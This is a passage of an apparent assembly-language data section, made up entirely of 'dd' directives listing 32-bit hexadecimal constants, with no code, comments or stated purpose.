109C5F14h dd 199CC750h, 6445A537h, 0D78FEA8Fh, 0DB74EB05h, 9E48B91Dh dd 582E90B7h, 0D27C8ADDh, 2FA27D79h, 51559B4Dh, 820C793Fh dd 9973793Bh, 5D1063D7h, 8EE78079h, 2EC13371h, 432886E2h dd 875E9AEEh, 0E87C06C3h, 0E34C9103h, 0F4A011D1h, 6F6C2EBEh dd 9990418Ah, 56CD2F33h, 67A53903h, 0E5F46388h, 254E8146h dd 0F8F3E109h, 257FA7B5h, 288B6780h, 0F463F13Eh, 49C67BFEh dd 383D3639h, 0B60574D6h, 0A4183CA5h, 736F5AEDh, 0E967BBA2h dd 6BAABEEBh, 0F471CF62h, 2C3AF631h, 69B7BF4Dh, 3C52FCB1h dd 0E14A2CF9h, 0A281B05Bh, 2EA301A3h, 31CFB719h, 2E46D84Bh dd 7863FD08h, 0AA7F466Ah, 0CE993488h, 0AFA4433Dh, 6CCD232Dh dd 3880FEF3h, 593074D1h, 382519Ch, 7FE2BB6h, 847FE0C9h dd 199164Ah, 0AD61D04Ah, 8BE72EF7h, 0E599EECDh, 0B28CF569h dd 846EE7E4h, 0C07FB32Eh, 6A30313Ah, 9F70CE23h, 0F73953D2h dd 0EDB9AB6Fh, 60E73631h, 1192DB1Bh, 11E8445h, 0D313F3A0h dd 2F5DD279h, 51E06CC9h, 0DFC750DDh, 4836E9E8h, 0ED14EE4Ah dd 79438B96h, 8FFC3639h, 7934FFC7h, 66499114h, 9AD3ED11h dd 873D0B81h, 0C499612Ah, 0D5FEF1B4h, 0A8BAEE6Eh, 4797A124h dd 510E8590h, 0FC984552h, 7BCBBEC1h, 0C4828D4Eh, 23CDE6FEh dd 0E68E5661h, 6BB4BE64h, 9A9D622h, 2B3AFF38h, 643E1AF2h dd 0D0F938C2h, 0B6E97017h, 6337A8Bh, 8E3ABE0Dh, 0CD5B21Eh dd 6B4DCE9Dh, 0BF881AFh, 0CFDB4672h, 0C1C1981Bh, 47AC8D2Dh dd 8113927Ch, 6F2E21A4h, 0F3FA3CB1h, 0D9F2DBD2h, 8C91B5E0h dd 0D649C23Ah, 0BF18C7E4h, 7D47C851h, 0D1E44D46h, 0CF516DF6h dd 0E4DFA30Ah, 41D90178h, 2324E9B2h, 0CB831E88h, 3638AE9h dd 0D04EE99Bh, 27A7560Fh, 74BC9D91h, 184ECA31h, 92DDE65Fh dd 2D1DE568h, 8E0E6552h, 0CA1BDAECh, 0A929FA20h, 3862F03Dh dd 471C5D14h, 840B5C5Fh, 3CFF52B1h, 0A656012Fh, 0AB69D028h dd 1E5A8294h, 0F624822Dh, 0B7CCA815h, 0DB5038B2h, 25A76DD3h dd 56228446h, 7CC942FAh, 94B74694h, 39B85AF8h, 0F1B956D8h dd 0F64F8E54h, 0C551D33Dh, 0C3D69823h, 0C56196DDh, 74C18A9Fh dd 0CA0320AFh, 7420FA2Bh, 94247CF1h, 39E4A0C9h, 6BFA2E74h dd 0E0730ADh, 0F1777E1Eh, 0C94CDD9Ch, 6FA0B25Bh, 604C5875h dd 412BD0AAh, 0B20AAEC1h, 6795CE7Ah, 17B663EDh, 0E8558D2Dh dd 0BF563FD3h, 9F27CC2Dh, 759AF70h, 0F5AA498Ah, 0DABF4DC8h dd 1DA147EFh, 12A879DCh, 0C02BFC27h, 0DA858AB6h, 40AF011Fh dd 36CBA7C0h, 0A1342FEh, 4C699D99h, 4F5B4E76h, 152E838Ah dd 3EDC71BEh, 0A69073BFh, 4E737643h, 0F8C1BF05h, 0E6B338FEh dd 3A4DAD08h, 0B264945Dh, 79BED411h, 4AEFBF9Ah, 65FF967Fh dd 11725CAAh, 0A763D09Bh, 0A50877B6h, 8576EF9h, 17FEAB84h dd 0D15B06D8h, 0EB063DA2h, 0F047BC05h, 0AA0A0346h, 0F2F49863h dd 0DF4FAB5h, 8D924D3h, 135033EBh, 15D77893h, 89A033FEh dd 53CED304h, 8FD9D4ADh, 607DAA7Bh, 82840CF9h, 93B660C8h dd 2BAB7FBCh, 0C82ED197h, 541ACBCBh, 9C21296h, 0AF3E0317h dd 79063142h, 290943E5h, 0C96289C6h, 6E84DB51h, 0A906CE6h dd 0A60B6057h, 0C2235B9Ch, 1248F0BDh, 53AA26B0h, 80F5925Ah dd 834C2C60h, 52FFC43h, 1E98AB59h, 9959ED59h, 0FB0ABD2Dh dd 1EA6BEFFh, 0E717C795h, 39397085h, 521520D4h, 4425A545h dd 8582ADBDh, 448CC512h, 0E66BDAC7h, 0ED70D339h, 0C22D440h dd 0B4844ECDh, 0D508D648h, 4537A312h, 0E6863C54h, 0FFB437BCh dd 4187DE2Ah, 0F704E9F1h, 0EFE857C2h, 0C483400Dh, 1C09BA87h dd 0F790F39Eh, 0E98B5417h, 0D17CF51Dh, 70707D77h, 632BF427h dd 43A2D48Dh, 3FD9FCE2h, 0E4AE798Eh, 6A656A0Dh, 0B134BCACh dd 601510A4h, 7161563Bh, 1970BE68h, 90D9D68Ah, 0FB03A5B3h dd 189F0F57h, 42935247h, 2D62B7CCh, 0EA53F508h, 7152783Dh dd 95D90E8Bh, 7102B7B0h, 6C47BFB2h, 513A8021h, 0A408ECDCh dd 90EBB141h, 0EE7F37D7h, 25BDADE5h, 171F32FEh, 795D0C32h dd 4C286280h, 47BC9F65h, 0C96AD30Eh, 2304B656h, 0CB22D362h dd 0FDBF9113h, 501B6B30h, 36E8B13Bh, 91DFBC6Eh, 0F3258B55h dd 0F12CD888h, 0D3F0BC7Ch, 0F50BEE02h, 0F5C07686h, 0B5008D69h dd 0D1650A57h, 0DEF8EAD3h, 69F020F5h, 160ECA91h, 0DC391DA4h dd 0E19CF75Ah, 0DD8B3AE3h, 0D0CF5A51h, 9CDEB5A6h, 0FE1198E0h dd 0CDF8084Eh, 977B0232h, 0FA78A84Fh, 0E31D3Eh, 1BCA7E30h dd 938FCA96h, 597A771Eh, 55F65343h, 0BEB7E3D3h, 0B351D07Bh dd 22C2CB8Bh, 24363E78h, 46EA75D5h, 0DBD92E09h, 0ED3B42F2h dd 0A04F462Ch, 0DA848D7Ch, 0C9AB4B3Ah, 3DCDDE18h, 9260C94Ch dd 0B83574E5h, 5A8A4D34h, 5050BB17h, 0BCD701Fh, 26AF0589h dd 4DE0EC55h, 0BDFE46DBh dd 10DFCDE2h, 0A0A93CDEh, 292713B9h, 8712D186h, 3EB18CBBh dd 367DDBA5h, 518C5CE2h, 0BF7E8756h, 90D739FDh, 9FA3236Bh dd 6688F3C0h, 0D171AC44h, 0A8988C4Dh, 7B882965h, 4ACBEB8Ch dd 8493C78Ah, 8A223EFDh, 0E68497E1h, 22FB9918h, 0BF9498B8h dd 386E115Bh, 0CCF0D6DCh, 8544CA02h, 6738FDBEh, 3081FAC0h dd 7F71D26Bh, 0DAF84496h, 0E55F34Ah, 28FEE62Ch, 8E5A358Fh dd 0E0E4D15h, 2E8136C7h, 8D3329F3h, 6BF5079Fh, 43824352h dd 4928D39Eh, 0F53A23F3h, 0E2A8C45Eh, 0AD5FD989h, 6FE92B12h dd 58950765h, 2ADE88C5h, 311D615Bh, 0C0B041D0h, 8347BDAAh dd 0C7FAB683h, 1BE1806Fh, 25D9F21Dh, 197C5AE4h, 0A7DC1A94h dd 0BCC656CAh, 9174998Ch, 8C65FD91h, 0A74A8C13h, 0F8F473B1h dd 0A8261EB7h, 5D7F2B9h, 0C1C9491Dh, 9A1CF4CDh, 948D7C21h dd 0FFEF8244h, 0E3CCBB2Eh, 0D823AEB7h, 8E3B82E5h, 0CE89C845h dd 0F1BDF9EEh, 0D5115220h, 0FF7B87ACh, 8D912C93h, 7FE31DDEh dd 7780C1A6h, 58A06862h, 0F3F88BAAh, 0ADF6AC89h, 0FEF76CD1h dd 0A8136497h, 0C1135BA5h, 0EE8EE781h, 1899BD2Bh, 275400E5h dd 0A9FAB5BCh, 0B5CBBAD7h, 3737DF43h, 0FF6A316Eh, 736C70F0h dd 0FA2DBEB0h, 1F18F73Ah, 0A884BA32h, 0B50184DBh, 0EE19C89Ch dd 0F6660218h, 0BC2FC8B5h, 6893E973h, 15C1749Dh, 5344464Ah dd 0F5AC632Ah, 84C17C3Dh, 0DE9C1F67h, 0CC3603C3h, 7EAA73E9h dd 0CD47C032h, 0D5BFC2BEh, 1948C868h, 59041EBEh, 72BB7BB9h dd 6FF68ED9h, 0BDA78117h, 206C35F1h, 44B92EDCh, 0E67C98CEh dd 36F3C28Fh, 0F8FC26DEh, 0E841DCE6h, 0A7C0661Dh, 6DFFF7DDh dd 0DC8587BAh, 9FCC2752h, 47D8664Dh, 5AA7652Dh, 0A69B9A6Eh dd 3416D7FCh, 0A50F0917h, 446E32F7h, 0D6501786h, 0EF503643h dd 0A51A85DBh, 0BE0BC0CBh, 0FF5D4823h, 5EDD87EFh, 0B1E1C370h dd 0AC4C21ABh, 4BCE8986h, 8055CA82h, 80007489h, 5E871486h dd 0B6AF52BBh, 5FDD6B93h, 7A565894h, 2EE627CDh, 0CA63E530h dd 94799F46h, 749B4D8Dh, 0B2AB5DC8h, 2EF0757Ah, 0D90F6727h dd 787B8358h, 9F848E30h, 63C76206h, 0D65A2719h, 9A474668h dd 0CEFCDB32h, 158D8EB1h, 0BF51A949h, 7A3F9407h, 9FC7FE47h dd 0E3266154h, 2AF750FDh, 0E230BE43h, 0F0C66BFFh, 138DE418h dd 2B821F6Ch, 0EF35F61h, 10AC8880h, 0BDA7B34Dh, 551C9933h dd 0D277B6D7h, 0C8758414h, 0B55F22EFh, 0B461A24Eh, 91670DCBh dd 16618B2Ch, 0AFB2E619h, 7A29E720h, 0DC22297h, 88259E95h dd 0DD1FC5BCh, 0B0B216DBh, 12EB4BBh, 33621465h, 59BC87E8h dd 0EA8EAE79h, 9C1AA3C7h, 60723F5Fh, 0B2504F39h, 5D1BDB7Eh dd 0E8ACBE45h, 0B77DA9E0h, 94B4DF44h, 6A9FB1A0h, 6A7A1544h dd 1388BD40h, 3D58E24Bh, 0CDE91064h, 14053EBEh, 0C706B0D6h dd 0B334A696h, 388973D8h, 7D8AF64Ch, 975AD288h, 31C4A615h dd 3A382251h, 0E1DE4AB4h, 0D6BBDFC0h, 0DBA41DD0h, 0C519A944h dd 0C0D725D4h, 2A7A7293h, 0BDF981E8h, 330C31F8h, 0B25BC86h dd 71F107C1h, 0CE08549Eh, 0C301C50Dh, 384DCA64h, 83B69184h dd 0EDF4409Ch, 19EDDA37h, 986322DBh, 0B3603F52h, 62964D01h dd 8AA535E2h, 0F2E045A0h, 0C74A8B44h, 7F38BEEFh, 0F963DE04h dd 471DA41h, 91AAC392h, 538A6E1Ch, 0B3CE1758h, 4C326D7h dd 0AD613BFh, 21E5E60Dh, 77E90D59h, 64C0418Ah, 6C2AB5AAh dd 6EE18425h, 30F60FA4h, 0CAF82706h, 0AB29A460h, 0A79B3FAh dd 3FA16FFFh, 9544E08Ah, 8398BB58h, 2F252DBAh, 20190D36h dd 2DD84136h, 23C889AAh, 10D23F0Ch, 0B6285179h, 2B68996Ch dd 0F7320491h, 6FF47F28h, 2BF64D8Eh, 36157EA5h, 921A25FDh dd 59C625CFh, 7CFD26Ah, 0C41B9B19h, 83BF775h, 53F224F6h dd 4BC8D2D7h, 9731E994h, 0E99E5F75h, 82BD64FCh, 71ED96A2h dd 0D011FF46h, 10EAA08Bh, 32B4A152h, 119E7E71h, 0EC67635Ah dd 2E29862Bh, 0E9340CF5h, 0D2D9F160h, 0DD2E2C4Dh, 40C2089Bh dd 5E444BAAh, 0E4614935h, 27433256h, 0F4626390h, 10F38674h dd 19626030h, 6D9CA2A1h, 448838E8h, 0FE74A5C0h, 253EF53Dh dd 187EBC3Ah, 0AD8C7A7Ch, 57CDF86Eh, 2C8E3FF2h, 0FF3DF113h dd 0D6A96E00h, 6CF24037h, 1FEA4E8h, 14D5EDAEh, 2ADB4B9Fh dd 0D36E7C2Ah, 6CEFF0C6h, 0CA2AFFh, 304A5FEh, 0DB7AB122h dd 69D8050h, 0B6119766h, 2A33FE18h, 0C86806FEh, 0D943CB13h dd 0E267EE82h, 0C3832170h, 81A45932h, 0B40A6BC7h, 3B2615F9h dd 65AFC3Eh, 679B7533h, 0EA6028A8h, 8109222Bh, 0FA9F2104h dd 49F021E6h, 0E57B5BB3h, 0BBBB7EABh, 45805934h, 8286C828h dd 32F450h, 0FBBB7037h, 521C09BFh, 0C8DCA069h, 0D94889CAh dd 0B4F4F7B1h, 38F69F7Eh, 459AEEB8h, 603FADF1h, 0D9B18946h dd 98DF915Eh, 378C185Dh, 65DC7981h, 0EB18D5E2h, 6299A47h dd 3577B2D8h, 1DD754F2h, 0B9478BB5h, 0D906D951h, 4CC82464h dd 0B63E76B8h, 969A4272h, 0D466D278h, 88197CBCh, 4D985787h dd 0FCB66BABh, 6ECCF2Bh, 66C25ABEh, 0EB42417Ch, 3A2A4B09h dd 7828DF5h, 1DCCBF3Dh, 0B8C2510Bh, 5E5D68A1h, 14F554C6h dd 0C6CEE189h, 0AB6B7283h, 34669C73h, 3AE79A88h, 2901275Ch dd 20F9D294h, 0BF94377Eh, 6E5DA482h, 0ABB270CCh, 5448FDF8h dd 722ACE56h, 92D7D6BDh, 9A94E541h, 0F5C66Fh, 659E5750h dd 0DD5A48D7h, 0CCA68741h, 6059AB15h, 2EFE8E1h, 4A8B0F44h dd 0A2CA76Fh, 0E74457AAh, 1B964795h, 440520D0h, 1024758Ch dd 30D5B7C4h, 0D2DA5000h, 7C10A34Dh, 0BCFE984Ch, 40766FF4h dd 0F45135C7h, 70DD5439h, 97AB083Ch, 1A67FB60h, 0E668B745h dd 0E75BD4A4h, 4A98787Ah, 0FC644745h, 648B47E6h, 0E727262Fh dd 1DC45F2Fh, 30F140A9h, 0E3112265h, 812ABBAh, 9F461EB4h dd 0F8D6DE8Fh, 0D8C2A42Fh, 0B51D115Ah, 92E0D999h, 0F607E869h dd 5EF71A3Ch, 0DEB4BEFBh, 119A57DFh, 0B635BD0Ah, 72FB2C79h dd 0C320F424h, 92A620Eh, 92236DBCh, 854F6D93h, 3945FD60h dd 7BC50CF4h, 0A3AF93B0h, 73279D18h, 25F7864Fh, 0BA446A46h dd 0ABC332F2h, 0A898521Eh, 0D81BE0CAh, 9A0AFB57h, 0BDBCC1DAh dd 0E1C59F48h, 80ADC71Bh, 0E212ABD6h, 0EE12D843h, 25877AB3h dd 6DC1F67Ch, 0A7F66CECh, 5BE75584h, 39687976h, 63D16643h dd 8944E32Bh, 6CF7FB5Ah, 6B8FE5A6h, 0B3F77927h, 0D2BA3262h dd 0EA50BE79h, 93822069h, 48CAFB4Ch, 3F9729F0h, 2B10F208h dd 95EE94D4h, 434D9F1Ah, 0FDAD32FCh, 5EB6423Fh, 0F580323Ch dd 0FE314747h, 46270C38h, 9814EA70h, 297875C0h, 9878D96Eh dd 0FB7001F1h, 8F80D2A4h, 0C222ACD7h, 0C36137BCh, 0BB93834Ah dd 0BD2F77Bh, 569D3E5Ch, 0C9C0D8DDh, 0A17D3DC8h, 44FCEDEh dd 41AF7E2Fh, 3A5569E9h, 0D2F2BBB2h, 0CD48CE7Bh, 0F745C47Ah dd 383C06ECh, 27D28E6h, 3537A961h, 0FB99DB82h, 2D8C14DAh dd 0C8E55B0Ch, 7FED0BE9h, 0F1CE9F9Eh, 8633768Eh, 0C41EDED9h dd 0D16A970Eh, 39E58E64h, 165BA5A9h, 5E0E5376h, 0F013D72Eh dd 0B1599E1Bh, 93D39C03h, 0CB552800h, 5A0E8788h, 1B0F3D88h dd 0BD9AC612h, 0E86FEB44h, 0E789B17Dh, 0B8E7841Bh, 1FED8A2h dd 7E52786Dh, 1002E68Bh, 77B0A8B3h, 0D476D372h, 379BDCCDh dd 84D91C5h, 1926A60Dh, 1B1DCBAEh, 45E154F8h, 0F6EE842Eh dd 0F7FC9194h, 5FBFAA75h, 7914490h, 3A16A635h, 0E382084Dh dd 0D436921Ah, 5C04B89Fh dd 7FB9E05h, 4B173F7Eh, 10A4DADAh, 82FB825Bh, 0E5C88043h dd 0CE33203h, 0B4775193h, 6EF82382h, 87438C76h, 727A8D16h dd 2CCA9698h, 8F02E06Dh, 0BF7EFD76h, 0E1E570D0h, 0EBB42226h dd 48540CB1h, 0C97239A1h, 0BCD49C67h, 95C703C0h, 8028F7C4h dd 9CEE748Dh, 75CEED38h, 0C774DCEAh, 4FB42F0Ch, 3BF60DDh dd 1F1E4D3Eh, 814CCB69h, 88D1950Ch, 13098B28h, 5D5FEA7h dd 5C2EF526h, 0EAA823EBh, 3DB8A923h, 27AA0290h, 7A8D3AFCh dd 7C468D9Dh, 31E4D550h, 466B9267h, 25D76E37h, 4CEFD1C2h dd 269F97B1h, 42C42387h, 0FBD7961Eh, 574D0192h, 3A50A655h dd 0B47EEFC8h, 723FFB2Dh, 4C229688h, 0AAC8532h, 0FF46FD02h dd 0DB692357h, 2CDA008Ch, 246AAE81h, 22C912E3h, 66BBEAD9h dd 82D2F401h, 0DE65EA62h, 723BED5Fh, 5217053h, 0BBF757FAh dd 68F2ABFEh, 78AEBFDFh, 0D496D392h, 0B3DA4549h, 0FEDE59D7h dd 638E033h, 0DBB40CD0h, 0A8F2727Dh, 0BBEC1D38h, 80B91A72h dd 21A46BB5h, 892A17EBh, 0DC88D12Ah, 99069E5Dh, 0A789521Bh dd 0FCD3300Fh, 0F6AF1375h, 0FB655DC5h, 1D89EDEEh, 0DBF7D205h dd 0C8D6B07Dh, 0B6D7E881h, 326B532Fh, 560C8648h, 0C96271B6h dd 5BAFF9C9h, 551532DCh, 0FC63AD7Dh, 465E1F8h, 0F94807ACh dd 8E9B06C5h, 90EA02ECh, 89A05FECh, 8DA378CBh, 0DD86A6A3h dd 0C8763B30h, 313CFF60h, 0D7124960h, 5A71555h, 0A4954851h dd 6A4414D7h, 0EE6E9E40h, 968D934h, 0BF799D79h, 25953D2h dd 0FFBB628Dh, 4AFB026h, 38BE61F0h, 0F2CAADBFh, 460C0010h dd 80E219E4h, 0C687AE4Dh, 53B95D00h, 87A50F03h, 5603D3C2h dd 0CF0E4FF1h, 9A30460Fh, 0E100FA25h, 0C65181F0h, 0A074C83Fh dd 0D6A093A5h, 0BEE01817h, 0CFC4CC0Bh, 502FACF9h, 71EE0457h dd 0FAB647E1h, 4A8ABBBEh, 5FF70CD6h, 0C37BFED3h, 20FCE82h dd 52D420D9h, 0FF1E03DEh, 8B8C5A39h, 2C0749FFh, 836981DAh dd 8D40C2ACh, 885AD9ECh, 203D27Dh, 4B0AC3CAh, 97216D63h dd 4FBA3D06h, 0E1BF7413h, 35FE43BBh, 0FF1EC879h, 18717195h dd 0C74B0AEEh, 0A5F215B9h, 69D918DFh, 0FEA3049Bh, 659D6263h dd 0ACC927EBh, 69C7641Bh, 0DA4461CCh, 0FC104E47h, 0FF7A2AE7h dd 0D703DC1Dh, 9207A809h, 0FA8F77EEh, 0DD2A0F93h, 5963092Eh dd 0C4D38892h, 595D165Bh, 0E678E082h, 0F8857E16h, 6537C4FEh dd 0D32550A8h, 8EF77629h, 0C1552B39h, 1699395Eh, 3173ABEEh dd 6C98EE0h, 0A31E4697h, 8E0F46Bh, 6B15F823h, 2BBED4A2h dd 0D2B513C5h, 2F658375h, 0C7E9B0F2h, 0D397A962h, 6F2845CDh dd 93521891h, 0AA099D42h, 0CA8619ECh, 0DC9C4588h, 4C34EFBEh dd 0F474E322h, 6A6833FBh, 0E24ADB09h, 0BE7B8A27h, 8313013Eh dd 166500EBh, 0E1585AABh, 89B0B230h, 58F34A8Ch, 2E3C022Bh dd 4B2D3F02h, 0F99A1DBBh, 728B7EEEh, 93C343B8h, 0FE413D2Eh dd 42C07DA8h, 51D11FC7h, 2AA04191h, 0C9A588E6h, 4F84A505h dd 0DA73BACAh, 17B035CDh, 5F7162F1h, 77559077h, 2227E545h dd 9BE4723Bh, 2D826D52h, 1AEE93FDh, 842E1B32h, 0E160AD8Fh dd 0F1915162h, 0CB50688Bh, 70A17181h, 0EBBC8DC5h, 0C9ED3682h dd 69FDEE7Eh, 0EC015CB3h, 0C47AC382h, 0B5C13178h, 33BD659Bh dd 9FCB9F8h, 9A49D26Fh, 0BCB967DBh, 0B864EA06h, 0D3AF0123h dd 0F6179902h, 148AA821h, 0BE63622h, 9F1108C7h, 0FF8E49D4h dd 9EA5CD7h, 9AABC06Dh, 9CC23F68h, 5B63A2F1h, 27B6AF0Ah dd 9F6DDC96h, 4F9C490Ah, 0C85BF0A4h, 3BABA83Fh, 999C55C1h dd 0D74CD558h, 2CC7AB50h, 0A4711085h, 0A9E16C4Dh, 21FBE272h dd 0C846F78Ah, 0BB7AED2Fh, 0B29CB97Eh, 0A1BAAE87h, 992A614Eh dd 86978DB0h, 193F7556h, 1C5E9FF6h, 26202954h, 89C28FB2h dd 0E39F468Ch, 8C9E3ABh, 29F502F9h, 0B039FD78h, 86532E3h dd 5C8197DEh, 49FC9B99h, 69172EEh, 3D3368E8h, 0C354E9A3h dd 0EE95264Bh, 0BBE74F16h, 2DB6F2A3h, 2634791Ah, 208B1E7Ch dd 377781Ah, 49BE2730h, 0CB38BD98h, 0ECBBF250h, 0F5164B0Ch dd 17DF53BEh, 5C8F2044h, 0A1234084h, 6387140Ch, 913914C4h dd 0BD87B550h, 2E010DE7h, 0AA0FCC41h, 96DE7E13h, 0FD470BEBh dd 0B223E511h, 2439FF89h, 6919D5A0h, 0CE383EC7h, 47A1B263h dd 0A4B16995h, 0CBFA72EBh, 0F409A6C1h, 0E8C13775h, 0B708ED4Dh dd 3F900DABh, 3F1DBAE2h, 0BCCA5703h, 729761A9h, 0B62C13D7h dd 9F20F903h, 5B95C0D1h, 0CF8AE35Ah, 71BD44Ch, 8E02B154h dd 81530A2Fh, 3B43C0B8h, 730FBDAFh, 6DCF0D75h, 0F7FE66FCh dd 12C98689h, 0E250909h, 98AF2AADh, 7D069DE7h, 0F79F1427h dd 9B4F865Ah, 3DADC1Ch, 6F7E1A3Dh, 3E206265h, 0A14CD48Bh dd 0F1092ADBh, 0D83BE525h, 0BEDEF318h, 0DD0ABB16h, 0E857FC57h dd 0ADDE8FFCh, 0B64B4935h, 69D6EC1Dh, 99326308h, 0ABE4CE60h dd 0E2C4C283h, 5D4336D7h, 4182711Bh, 5BF4AB0Eh, 3B75F8D9h dd 0CD1A8B7Ah, 82A9E426h, 0AC0381F6h, 0A08495E1h, 379AE007h dd 298E6865h, 3C817582h, 0C51583E0h, 818EAF28h, 83CA44ACh dd 0C24BA175h, 1845845Dh, 0E3AC46D7h, 7E258917h, 6F43EA45h dd 0C88CA071h, 6858AD64h, 7E551DACh, 8A3B80E9h, 0A77A1CD5h dd 84D46979h, 0FEBE8D27h, 9BFC5CA5h, 0DFD438FCh, 0DF11D136h dd 910C8DD0h, 3B24EED9h, 39D5CF15h, 751CCCF4h, 83E44BC0h dd 0A015CC29h, 9738A769h, 17FA24B0h, 1135D976h, 97CC621Bh dd 59B4A983h, 0B9BFD793h, 7C929354h, 6728C140h, 0C5FEEB38h dd 42656B0Dh, 222EB6FDh, 149786DDh, 1BE67D51h, 6B10CB7Ah dd 0F05D46A2h, 0C7DBE0B3h, 78C980DBh, 0B82520A8h, 9F165F5Fh dd 5025F471h, 0B6CE5207h, 713C0B3Bh, 0CD77EE94h, 0EB32FF69h dd 68F1AECFh, 8D0D22A1h, 0C7FF9FA0h, 0F0CC61EAh, 8394ED2Dh dd 0C85086DCh, 6ED9915Dh, 5CC82566h, 7310F61h, 8FBD7523h dd 6B16218Ah, 15E6CCC6h, 0EB2518E6h, 0AC371B32h, 79129A52h dd 19A1A742h, 0E281058Ah, 0A496D036h, 0B8CC300Fh, 6C639791h dd 0EAE4B8C8h, 9BDAE85Fh, 0EF70118Ch, 99F41DBBh, 0EE21BD42h dd 60FD2525h, 47C0F134h, 0F16FD6B5h, 0D5A5A617h, 0C6EA815Eh dd 0E16CB2D8h, 731CE95Dh, 0C61BD641h, 83015CC6h, 3A4B9586h dd 8189039Eh, 0E378EBB0h, 9E17FC69h, 0A82FA79Fh, 49A10873h dd 47D0C2A6h, 8AC11BD8h, 1C29F92h, 3058051h, 3E8199D0h dd 0FA6005A5h, 2CCFD376h, 0F62A72EBh, 95523B33h, 0F9D889FEh dd 13337FC3h, 3715CA80h, 7D98F586h, 0BE60AC6Fh, 1B173347h dd 0E592A7D2h, 5C834472h, 8DC5123h, 5C033270h, 56B4220h dd 0AD545AB7h, 6EBD4B47h, 0B46C3EDEh, 4698AEB2h, 628976DFh dd 0E73A49B8h, 3D0D5D06h, 0DFC4A60Eh, 2D8EE698h, 3A91F4FEh dd 0A5DDD7E1h, 0B3799F33h, 4990407Eh, 7AB7814Fh, 0E4DCE74h dd 1BC5C442h, 2AF9518Dh, 0C4313EF4h, 0BE9635F3h, 0D775A9C4h dd 2985A11Fh, 0EE739CEh, 902675Bh, 0D60F2F78h, 0EAC83F0Fh dd 3973FE8Ch, 1744C2A0h, 0C4F27072h, 0A6C77F8Eh, 297CA290h dd 0B82F1D67h, 8015552Ch, 0AA8ED94Dh, 0E4580D4Bh, 2263DBD1h dd 0E6145974h, 221265D0h, 92802DA2h, 9ECEE2A1h, 0EA64AACBh dd 8456AB6Ah, 0CC9AC2A1h, 8B1CC269h, 49BD7D1Ch, 0EAD1DD9Fh dd 8C4588FEh, 0F1646DF0h, 0B066B435h, 947096ACh, 0BA558017h dd 0F951677Fh, 0E3A1DE92h, 0B2B617Dh, 2FDDB768h, 3FC694B9h dd 8FC90A59h, 35AF3461h dd 37B47FE4h, 250B5EA1h, 45644E71h, 6B822040h, 3A869F7Dh dd 95D0FE00h, 0A48CA4AAh, 1B4ED732h, 43E1C015h, 370233B5h dd 0F8360AFFh, 4795430h, 0EE40DB46h, 0C5012CD5h, 0B424CA1Bh dd 9B933E9Eh, 0A0191436h, 27B8E24h, 0B4888DCDh, 7D583A8h dd 2FC5F332h, 94174604h, 0E04E4893h, 0DF8C7EC5h, 0B429E6A9h dd 3054BD54h, 0D5DB8BB4h, 9B40BA7Ah, 8B313A8Eh, 7236DCB7h dd 54BCCA14h, 0EB34759h, 8D43517Dh, 9C5BA4D4h, 711C4EFCh dd 0EDEAD9FCh, 0C6310D90h, 0D5CA8CECh, 6367626Bh, 54E8A95Eh dd 912F651Ah, 9A9187E4h, 56F43FEBh, 3B952807h, 1B133E5Ah dd 229994B6h, 0D0D5C62Eh, 457F7EA8h, 0FDECAC65h, 3F7E2288h dd 9D97C672h, 45B5267Fh, 6927273Ch, 3B859078h, 0EBF9A1E9h dd 0D98EBFA4h, 0C59362C6h, 7D3F6B2h, 0D1AA27A8h, 98592CEAh dd 0D49B816Dh, 43300D78h, 0D3805F2Dh, 0C7487E22h, 6663A20Dh dd 0E3D9E6E6h, 4AA7014Fh, 523E102h, 0B3622C8h, 1B72E4D1h dd 533CF01h, 0FECC67E4h, 0E30371C9h, 0C60FB911h, 0C305CAAFh dd 6A59D4F6h, 7C9CC97Dh, 80ED3746h, 0E46078B4h, 0E0708DC9h dd 87091CFAh, 687D9B00h, 0A8DF305Fh, 0B5BBEE67h, 9D61C3A0h dd 0A3936677h, 0EA82D2E6h, 0A0E3CC4Bh, 0BAEDC3A5h, 0CD24260Dh dd 0B7A38231h, 95B51822h, 51B6C98h, 8110F9CAh, 667C300Ch dd 324A9739h, 1B251013h, 234F7EA6h, 0CED65C3Ah, 80A5BF4Ah dd 0E9D547E5h, 69DF06Ah, 0D23245E9h, 0EECF230Ch, 0EA543F2Eh dd 139ADC01h, 6354DF5h, 9440835Eh, 8B545841h, 0FD7EC1DAh dd 0AED112DFh, 0C9132EA3h, 543EE493h, 1BED2A94h, 5997B939h dd 0DB92E7DAh, 0F721E6CAh, 7F229D1Fh, 0BDBA73E2h, 148D8E61h dd 42EE731Bh, 0DA8C3048h, 0AE5347F8h, 25EFD41Ch, 9C0EFAE3h dd 5AC293D3h, 3DF20ACh, 0F5B816A7h, 0A949DDFDh, 0D1662DAEh dd 7BCE585Ch, 452CD781h, 0C154E5Bh, 3CBE736Dh, 0D2AB970h dd 3E174166h, 6CCADFA8h, 73FFA066h, 449B1390h, 0BAEE9AEBh dd 0B4BD70F8h, 7D0BF97Ch, 284D87CAh, 6E3A85ACh, 4210E9C7h dd 0D012EC98h, 52DB5FC7h, 0F0FDB879h, 0F95FAA06h, 0DA218009h dd 9A0CB856h, 10C4D4A9h, 0A0B55BD9h, 0EBE182DBh, 0F4FBB564h dd 1217993Ch, 8994AA77h, 0ED46F700h, 0FB62262Fh, 0F855A07Ah dd 2A122091h, 4177CC97h, 7A1B7647h, 6C7EDF0h, 8FAD7AD3h dd 0E71C8B4Eh, 0CF305C82h, 0DBD53BCEh, 0BA74F414h, 0E58D4687h dd 0FCC84045h, 0D3CDD13Eh, 4A8C957Dh, 3263A08Dh, 0F2A476FFh dd 146123ECh, 8E43D2E5h, 3E280D6Fh, 79B47A34h, 204269DAh dd 2B25EDB9h, 0D2A49551h, 0B92DB530h, 82BCB0F1h, 9E060EDAh dd 49C85238h, 6F754298h, 0D5890806h, 0D23BAE77h, 0BC4B51F9h dd 0ADF0E945h, 0DD0F56ACh, 0B1A6C06h, 0A25D2E51h, 887DFCDEh dd 92C09528h, 0C779EA77h, 87DDE41h, 8E717B9Ah, 0FCE08562h dd 5F5FCE24h, 240D9E25h, 0FA646FFFh, 12A02E6Eh, 0C19DB273h dd 31F97A5h, 8B4DB1F7h, 37E01545h, 0C2EE73C8h, 34FFECBDh dd 85D4A363h, 5688102Dh, 8A6261B0h, 84F6933Ah, 4F25CC1Dh dd 975E8E56h, 0A16469F5h, 0A7C2211Eh, 0A7A4B9D1h, 41641015h dd 68557030h, 32AC47Fh, 0F0811D3Ch, 522285CBh, 4A6CFBB7h dd 311A5F76h, 1304CDD8h, 0EEE7A6DAh, 